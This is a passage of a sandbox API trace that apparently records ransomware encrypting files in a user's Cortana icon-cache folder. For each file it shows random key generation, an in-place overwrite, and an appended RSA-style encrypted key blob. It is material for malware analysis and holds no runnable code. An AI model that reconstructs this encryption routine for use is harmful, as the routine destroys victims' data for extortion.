RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.630] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.635] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.635] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.635] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.635] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.635] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.635] CloseHandle (hObject=0x1af4) returned 1 [0180.637] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.637] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.637] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2138824-5150-42FB-95C2-6147FA08716C}", dwFileAttributes=0x80) returned 1 [0180.637] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc790 [0180.637] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.637] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2138824-5150-42FB-95C2-6147FA08716C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a2138824-5150-42fb-95c2-6147fa08716c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.638] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.638] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.639] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.639] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.639] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.639] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.639] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.639] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.640] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.640] CloseHandle (hObject=0x1af4) returned 1 [0180.641] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.641] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.641] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A1640A19-DCA8-4534-B567-A06D68EED0AD}", dwFileAttributes=0x80) returned 1 [0180.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db888 [0180.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.642] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A1640A19-DCA8-4534-B567-A06D68EED0AD}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a1640a19-dca8-4534-b567-a06d68eed0ad}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.642] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.642] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.643] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.643] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.643] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.643] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.644] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.644] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.644] CloseHandle (hObject=0x1af4) returned 1 [0180.645] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.646] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.646] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9BF63628-DDA6-43D6-ADB6-C919606A53F7}", dwFileAttributes=0x80) returned 1 [0180.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc8b8 [0180.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.646] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9BF63628-DDA6-43D6-ADB6-C919606A53F7}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9bf63628-dda6-43d6-adb6-c919606a53f7}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.646] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.646] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.648] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.648] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.648] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.648] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.648] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.648] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.648] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.648] CloseHandle (hObject=0x1af4) returned 1 [0180.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.650] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9B5B2AF9-07C1-4A92-9B55-C36169549C19}", dwFileAttributes=0x80) returned 1 [0180.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc668 [0180.651] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9B5B2AF9-07C1-4A92-9B55-C36169549C19}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9b5b2af9-07c1-4a92-9b55-c36169549c19}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.651] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.651] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.652] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.652] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.653] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.653] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.653] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.653] CloseHandle (hObject=0x1af4) returned 1 [0180.655] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.655] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.655] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9A290AB2-7828-46C3-A57F-0DEE793F6B93}", dwFileAttributes=0x80) returned 1 [0180.655] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9A290AB2-7828-46C3-A57F-0DEE793F6B93}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9a290ab2-7828-46c3-a57f-0dee793f6b93}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.655] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.655] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.657] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.657] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.657] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.657] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.657] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.657] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.657] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.657] CloseHandle (hObject=0x1af4) returned 1 [0180.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0180.665] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{983FD517-E332-4EC3-912D-37488A0D4CAD}", dwFileAttributes=0x80) returned 1 [0180.665] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{983FD517-E332-4EC3-912D-37488A0D4CAD}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{983fd517-e332-4ec3-912d-37488a0d4cad}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.665] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.665] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.667] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.667] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.667] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.667] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.667] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.667] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.667] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.667] CloseHandle (hObject=0x1af4) returned 1 [0180.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.669] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9485C3DE-E1A0-4074-8C1B-4DC45764656C}", dwFileAttributes=0x80) returned 1 [0180.670] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9485C3DE-E1A0-4074-8C1B-4DC45764656C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9485c3de-e1a0-4074-8c1b-4dc45764656c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.670] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.670] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.671] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.671] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.672] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.672] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.672] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.672] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.672] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.672] CloseHandle (hObject=0x1af4) returned 1 [0180.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.673] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{92B80E70-6ED3-42E7-830D-EF665C1DCD71}", 